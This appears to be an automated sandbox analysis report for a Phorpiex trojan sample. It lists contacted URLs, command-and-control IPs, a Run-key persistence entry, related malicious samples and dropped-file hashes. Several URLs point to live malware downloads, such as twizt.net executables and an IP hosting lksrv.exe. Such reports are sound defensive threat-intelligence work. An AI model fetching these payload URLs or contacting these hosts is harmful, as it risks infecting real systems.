http://twizt.net/chnlk8.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://77.91.77.92/2/6	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, sysmablsvr.exe, 00000001.00000002.4234854329.000000000221B000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.92/2/5	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/5%	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://twizt.net/chnlk13.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://91.202.233.141/6.	sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://91.202.233.141/H	524024912.exe, 00000007.00000002.2490877099.0000000000B6F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://twizt.net/chnlk19.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://91.202.233.141/1K	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/lksrv.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.92/1Microsoft.Wi	sysmablsvr.exe, 00000001.00000002.4234405265.0000000000738000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/6o	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/6%	sysmablsvr.exe, 00000001.00000002.4234405265.0000000000744000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/PLTRESA~	524024912.exe, 00000007.00000002.2490877099.0000000000B6F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/5ystem32	sysmablsvr.exe, 00000001.00000002.4234405265.000000000067E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.92/1:	sysmablsvr.exe, 00000001.00000002.4234405265.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://twizt.net/chnlk9.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://twizt.net/chnlk12.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown
http://twizt.net/chnlk1.exe	sysmablsvr.exe, 00000001.00000002.4234761224.0000000000870000.00000004.00000020.00020000.00000000.sdmp, 158752420.exe, 00000006.00000000.2344615892.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 158752420.exe, 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmp, 259428477.exe, 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 259428477.exe, 00000009.00000000.3111017919.0000000000A33000.00000002.00000001.01000000.00000009.sdmp, 2958729589.exe, 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe, 0000000A.00000000.3820554177.00000000003D3000.00000002.00000001.01000000.0000000A.sdmp, 2958729589.exe.1.dr, 259428477.exe.1.dr, 158752420.exe.1.dr	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
151.235.83.141	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
2.176.184.81	unknown	Iran (ISLAMIC Republic Of)	12880	DCI-ASIR	false
84.54.122.14	unknown	Uzbekistan	8193	BRM-ASUZ	true
86.102.56.226	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
100.66.253.251	unknown	Reserved	701	UUNETUS	false
89.36.181.43	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
5.236.253.124	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	true
188.215.175.89	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	true
91.202.233.141	unknown	Russian Federation	9009	M247GB	true
178.217.173.26	unknown	Kyrgyzstan	197119	ASKRENAKG	false
82.194.13.95	unknown	Azerbaijan	29584	AZEDUNET-ASAZ	false
109.74.69.43	unknown	Tajikistan	24722	BABILON-ASRU	false
37.150.142.35	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
151.240.79.133	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	true
89.249.62.14	unknown	Russian Federation	50164	RFTV-ASRU	false
217.30.160.154	unknown	Uzbekistan	39032	ISPETCUZ	false
5.233.220.4	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
5.234.221.184	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
82.200.224.194	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
2.190.124.23	unknown	Iran (ISLAMIC Republic Of)	12880	DCI-ASIR	true
80.80.222.130	unknown	Uzbekistan	34718	TPSUZ-ASUZ	false
185.194.125.74	unknown	Syrian Arab Republic	29256	INT-PDN-STE-ASSTEPDNInternalASSY	false
95.212.18.41	unknown	Egypt	29256	INT-PDN-STE-ASSTEPDNInternalASSY	false
2.183.100.16	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
2.182.190.8	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
189.134.7.239	unknown	Mexico	8151	UninetSAdeCVMX	false
78.39.225.27	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	true
2.185.224.76	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
139.135.146.244	unknown	United States	4181	TDS-ASUS	false
31.25.131.226	unknown	Iran (ISLAMIC Republic Of)	43754	ASIATECHIR	false
105.106.52.97	unknown	Algeria	36947	ALGTEL-ASDZ	true
37.151.162.116	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
213.230.126.39	unknown	Uzbekistan	8193	BRM-ASUZ	false
203.142.81.102	unknown	Indonesia	17451	BIZNET-AS-APBIZNETNETWORKSID	false
59.91.192.118	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	false
217.30.162.37	unknown	Uzbekistan	39032	ISPETCUZ	true
5.232.149.197	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
109.74.67.96	unknown	Tajikistan	24722	BABILON-ASRU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
159.100.18.229	unknown	Germany	44066	DE-FIRSTCOLOwwwfirst-colonetDE	false
195.181.62.220	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
37.255.23.100	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	true
149.54.47.90	unknown	Afghanistan	174	COGENT-174US	true
178.88.111.20	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	true
178.253.109.195	unknown	Syrian Arab Republic	29256	INT-PDN-STE-ASSTEPDNInternalASSY	true
92.47.27.126	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
217.30.170.10	unknown	Uzbekistan	39032	ISPETCUZ	true
185.131.88.152	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
185.215.113.66	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
151.242.54.207	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	false
95.59.118.94	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
2.135.128.182	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
2.191.116.122	unknown	Iran (ISLAMIC Republic Of)	12880	DCI-ASIR	false
88.204.209.230	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
89.106.236.58	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
81.195.238.130	unknown	Russian Federation	28884	MR-SIB-MTSASMRSibirRU	true
91.246.92.22	unknown	Russian Federation	42673	SKYWARE-ASPL	false
213.230.127.213	unknown	Uzbekistan	8193	BRM-ASUZ	true
5.133.123.159	unknown	Russian Federation	200752	TIET-ASIT	false
79.165.23.131	unknown	Russian Federation	8615	CNT-ASMoscowRussiaRU	true
46.100.121.146	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	true
5.190.248.13	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
77.244.144.31	unknown	Tajikistan	42713	INTERCOMTJ	false
178.130.83.254	unknown	Yemen	30873	PTC-YEMENNETYE	false
151.234.69.79	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
77.91.77.92	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true
178.45.178.213	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
2.185.144.157	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	true
188.213.178.116	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
109.200.174.222	unknown	Yemen	30873	PTC-YEMENNETYE	false
37.228.65.185	unknown	Kazakhstan	35104	KTC-ASKZ	true
178.90.87.64	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
149.54.35.210	unknown	Afghanistan	174	COGENT-174US	false
89.43.145.18	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	true
79.170.184.222	unknown	Tajikistan	24722	BABILON-ASRU	false
5.235.246.49	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
194.93.26.70	unknown	Russian Federation	34665	PINDC-ASRU	false
46.35.93.221	unknown	Yemen	30873	PTC-YEMENNETYE	false
91.218.161.58	unknown	Russian Federation	51346	TOJIKTELECOM-ASRU	false
5.232.85.255	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
178.151.4.209	unknown	Ukraine	13188	TRIOLANUA	true
2.189.25.176	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	true
100.109.48.43	unknown	Reserved	701	UUNETUS	true
87.237.234.24	unknown	Uzbekistan	39032	ISPETCUZ	false
37.151.125.109	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
100.67.22.76	unknown	Reserved	701	UUNETUS	false

Private

IP
10.102.10.21

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1512821
Start date and time:	2024-09-17 23:08:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@12/17@0/87
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 63 Number of non-executed functions: 160
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.72.235.82
Excluded domains from analysis (whitelisted): redir.update.msft.com.trafficmanager.net, ocsp.digicert.com, www.update.microsoft.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
17:09:14	API Interceptor	2586973x Sleep call for process: sysmablsvr.exe modified
22:09:11	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Windows Settings C:\Windows\sysmablsvr.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
84.54.122.14	BFP2Kvubpo.exe	Get hash	malicious	Phorpiex	Browse
84.54.122.14	TXh7zCXtrk.exe	Get hash	malicious	Phorpiex, RHADAMANTHYS, Xmrig	Browse
91.202.233.141	file.exe	Get hash	malicious	Phorpiex	Browse	91.202.233.141/5
	SecuriteInfo.com.Trojan.DownLoader46.2135.4279.14770.exe	Get hash	malicious	Phorpiex	Browse	91.202.233.141/4
	SecuriteInfo.com.Trojan.DownLoader46.2135.13298.13900.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	91.202.233.141/5
	3YHDfHLvo4.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	91.202.233.141/_3
	SecuriteInfo.com.Trojan.DownLoader46.63386.25844.4041.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	91.202.233.141/6
	SecuriteInfo.com.Trojan.DownLoader46.2135.7325.13890.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	91.202.233.141/6
	BFP2Kvubpo.exe	Get hash	malicious	Phorpiex	Browse	91.202.233.141/_3
	WI6a5vSCOb.exe	Get hash	malicious	Phorpiex	Browse	91.202.233.141/_1
	xJd712XMG6.exe	Get hash	malicious	Phorpiex	Browse	91.202.233.141/6
	lRT1FK9PcL.exe	Get hash	malicious	Phorpiex	Browse	91.202.233.141/6
178.217.173.26	SecuriteInfo.com.Trojan.DownLoader46.63386.25844.4041.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	aByOA3pL8y.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	SecuriteInfo.com.Trojan.FWDisable.emW@autNZn.370.12442.exe	Get hash	malicious	Phorpiex, Xmrig	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DCI-ASIR	file.exe	Get hash	malicious	Phorpiex	Browse	5.74.200.25
	SecuriteInfo.com.Trojan.DownLoader46.2135.4279.14770.exe	Get hash	malicious	Phorpiex	Browse	93.119.87.8
	sora.ppc.elf	Get hash	malicious	Unknown	Browse	78.38.249.57
	PQ2AUndsdb.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	46.100.50.5
	43q1wNs9CA.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	93.118.137.82
	4G6yVLS3wA.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	46.100.50.5
	SUevAm2tWO.exe	Get hash	malicious	LummaC, Go Injector, SmokeLoader	Browse	93.118.137.82
	0S2jhDIWWK.exe	Get hash	malicious	LummaC, Go Injector, SmokeLoader	Browse	93.118.137.82
	154.216.18.223-x86-2024-08-17T03_44_00.elf	Get hash	malicious	Mirai	Browse	2.191.107.183
	hoho.arm7.elf	Get hash	malicious	Mirai	Browse	2.188.125.211
TCIIR	3pl0GSzVPg.exe	Get hash	malicious	SmokeLoader	Browse	2.185.214.11
	BwNKl6G2Rt.exe	Get hash	malicious	SmokeLoader	Browse	2.185.214.11
	file.exe	Get hash	malicious	Phorpiex	Browse	151.233.111.194
	SecuriteInfo.com.Win32.Sector.30.19697.26848.exe	Get hash	malicious	Sality	Browse	217.219.117.8
	setup3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, SmokeLoader	Browse	2.185.214.11
	SecuriteInfo.com.Trojan.DownLoader46.2135.4279.14770.exe	Get hash	malicious	Phorpiex	Browse	2.186.108.170
	oZB7n3wuNk.exe	Get hash	malicious	CryptOne, SmokeLoader, Stealc	Browse	2.185.214.11
	mirai.mpsl.elf	Get hash	malicious	Mirai	Browse	217.219.172.133
	mirai.ppc.elf	Get hash	malicious	Mirai	Browse	193.239.197.42
	SecuriteInfo.com.Linux.Siggen.9999.6015.2041.elf	Get hash	malicious	Mirai	Browse	217.219.38.90
ROSTELECOM-ASRU	file.exe	Get hash	malicious	Phorpiex	Browse	77.35.163.86
	QvTbUiFWlo.elf	Get hash	malicious	Mirai	Browse	5.142.67.27
	SecuriteInfo.com.Linux.Siggen.9999.14022.17442.elf	Get hash	malicious	Mirai	Browse	37.79.205.215
	SecuriteInfo.com.Trojan.DownLoader46.2135.4279.14770.exe	Get hash	malicious	Phorpiex	Browse	94.233.108.123
	SecuriteInfo.com.Linux.Siggen.9999.8352.26322.elf	Get hash	malicious	Mirai	Browse	5.140.107.248
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	178.66.27.60
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	78.29.72.88
	154.213.187.80-mips-2024-08-30T23_29_44.elf	Get hash	malicious	Mirai	Browse	94.51.254.198
	mirai.m68k.elf	Get hash	malicious	Mirai	Browse	176.51.185.255
	firmware.armv4l.elf	Get hash	malicious	Unknown	Browse	95.71.100.188
BRM-ASUZ	SecuriteInfo.com.Trojan.DownLoader46.2135.4279.14770.exe	Get hash	malicious	Phorpiex	Browse	86.62.3.134
	SecuriteInfo.com.Trojan.Crypt.23519.13317.exe	Get hash	malicious	Unknown	Browse	84.54.78.48
	SecuriteInfo.com.Trojan.DownLoader46.2135.13298.13900.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	86.62.3.154
	3YHDfHLvo4.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	213.230.67.151
	SecuriteInfo.com.Trojan.DownLoader46.63386.25844.4041.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	195.158.21.74
	zisD7MC388.elf	Get hash	malicious	Mirai	Browse	213.230.117.92
	vGUfP1M4Q6.elf	Get hash	malicious	Unknown	Browse	195.158.31.200
	SecuriteInfo.com.Trojan.DownLoader46.2135.7325.13890.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	195.158.22.4
	fr1iFcTPUY.elf	Get hash	malicious	Mirai	Browse	213.230.107.209
	BFP2Kvubpo.exe	Get hash	malicious	Phorpiex	Browse	213.230.80.12

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\524024912.exe	file.exe	Get hash	malicious	Phorpiex	Browse
C:\Users\user\AppData\Local\Temp\524024912.exe	SecuriteInfo.com.Trojan.DownLoader46.2135.4279.14770.exe	Get hash	malicious	Phorpiex	Browse
C:\Windows\sysmablsvr.exe	SecuriteInfo.com.Trojan.DownLoader46.63386.25844.4041.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
C:\Windows\sysmablsvr.exe	Setup.exe	Get hash	malicious	AsyncRAT, HTMLPhisher, Clipboard Hijacker, Phorpiex, PureLog Stealer, Raccoon Stealer v2, RedLine	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\1[1]

Download File

Process:	C:\Windows\sysmablsvr.exe
File Type:	data
Category:	dropped
Size (bytes):	7936
Entropy (8bit):	7.9773160117550175
Encrypted:	false
SSDEEP:	192:eCcU4lTpyjoqU4TWTeguLt/1tS1o6Tqu37b7WPkE7qHDHyo:eCcVLIowLt/1STqu37HI1I
MD5:	CDC59EC342E22103257F213FED156807
SHA1:	0B7F95AB9FA24A7CEA2E34B9AFF3845A8923F96F
SHA-256:	DDF959FF63893AC8EB8ED9F877448072FE7B5FAE741B3AF3D5DB5B06AC154678
SHA-512:	E215E2933636DF7B5EECD21DD64A90DE8E06D5BC41CE71673263EC36073AD926C3D3F6910B969ECCF8E02458B0D580248DF3C07E01D6BA9E6B1F7B3F14A34BB1
Malicious:	false
Reputation:	low
Preview:	......$u0.j......W..Z.r.....5`.2...M...<e...~.~.lUMC...,3..^..7VE.d.l......\|..N50....LO'...m.c/.........Y..l9...$g.X.4uA..FJ....fk4...Z\a....zm.f..k`..=....2....a....\F..`Sq.....T...z...9..-V......z.3s.2d.i..2Z).....kJ.!..J.,_. ..M.v.Rz....r......$..V'..'..K....@J..Z...E..{.D..8...4.T[8.j.Qc.... .OI.1...6.R....m.T...=g...yJV9q..........U.Mu...D6..QE....l."....{....d=~rD..$....E..p....=-K.g\|I..&....].c)X.YT.,x.7.~.W9r..{..$h.K...K.vf.K.5..w}..y.BLS....^...n.X..]..P.>=qU..0._....D.........F&B...RB..1+.......Y@$..2c#.6....:..Pn.r.}.$..x.../...ql...~.p2.. ...Qm&.>C..G....)Iu$..I..@.q..;.....@........T.9.u.......'Od......c......m..7r.}y.........}.}?.F...Hw.x.,6..,..$.sg.."S.\|Y......)..:...#...lQL..qy.e..)...>8`5.6f/...i.Iq.)c.K.G-.i..)....i...M....1-].e...Ld.......3.}.fDA]....\...<J.r..~..S..WE.....o.X..f.5..........O.5._...g5..,V....\|..s...B.}T....;uQ.T...:z~...B8..8S.mq..m..*.g.g9..D......;.W@..t.......^ .....%...Sn.=..,...6^Yx.F"...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\1[1]

Download File

Process:	C:\Windows\sysmablsvr.exe
File Type:	data
Category:	dropped
Size (bytes):	12544
Entropy (8bit):	7.983900388354255
Encrypted:	false
SSDEEP:	384:nIfNmhu6Fs1QP0fXwPZ3KAevU+9EPA354:IFmBDPxPczx9f3u
MD5:	99CDA5AFE638C2770B12440385DE45E6
SHA1:	0AB0AA07BCFB747CC4D45A57BCBBCDEB9B44BB40
SHA-256:	9150DD7B934D654B310DFF5550F2FB3210009D2264CEFF0228F9C5DB319577BF
SHA-512:	F6886DE4243D9A657E3007FF70BDD1CFF92CBC94919238A03C9239C4A4B98F08EC56F1A004AED065CDE50B519F473332653439EE10C9357A0977D893D92165ED
Malicious:	false
Reputation:	low
Preview:	K.+Fn......h.o....-..G....."\...y.....`)VaG{.W,J.GK=I.?.J....MBL.~+.~..^>[9.Z........U..>qW..V2....7......Su_F...p.%+...fW.?..y....h...Gk.\S .\|..{....O./....U..ib...[mH....xO\|..\|=.}.... .%.p.6...Ie!.$...F....l..N.....:..bl?l..,....vF}...>.d..l ..87.I.X.2....ctIB..9..A..b..f9.u..i....1.p..6{P.,S.}.0?.6.....V..........:?...`&.T.,..F.......b).Ph.cX..1.%U.F....g.KX.::..=..W...g.6R.........1)..y....5j....[A...Q.&..5LaJ....).....Q..D.'.@X+..X...-{j... .^.p[..]>L...eW..I\|..$I..C.i.wd.@g.....&.,C...\cXb...W_...IW.x.0. .u....f.......H..lij..~.P.FA4..TK...D.!..z.V..[.V..N.........V...}$.6...Jp....[.<.\|..."H....f.m.$d9o....=x. .3j6.Wk..12LAyL..=.....}I..AB..tc.k.wu.q......{........W..2w....8y.9c.d...!.d.S..l(.?.,...`)i.^H.(........x........\|..0...?..C.~...DU.K:t...M.Cr.;..d....\|.l.Yie.9+..X\|\|_..#c.c...2.N>.a!q..'.......oD...=...=...b^a.R.........9=....z..f..P.I....Q...I..nk..WZx.B.#..b..S...._..Y...^2*..Z&."T.?~..D.~.O!".:.d...1.!..I`.uR^.,.7ruY.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\1[2]

Download File

Process:	C:\Windows\sysmablsvr.exe
File Type:	data
Category:	dropped
Size (bytes):	8200
Entropy (8bit):	7.978897056764554
Encrypted:	false
SSDEEP:	192:kD4d5ObbY6sB1iNUlT+w5hzHv2ojIsITGKov+KjvZT:ZYmqNUlyw5hzHv2fTGKuTrZT
MD5:	B4824500B417A4BEF5A7F356A7E59228
SHA1:	5D2B41DDB0FB14AF16D6F5434477CCE841FCCB61
SHA-256:	5E611106EBE3444BAFC26DD6D3C9DA9EC52114D95121D72C37A00D76D729B281
SHA-512:	74A3BEF099FF33F00151AB07534F66CFD8408F156E308063CD1FE4C0D3CA9DD104619FC1E5E654D3E85D4897BF68F015144969CA17BFD04186724C1A9CCD4D0A
Malicious:	false
Reputation:	low
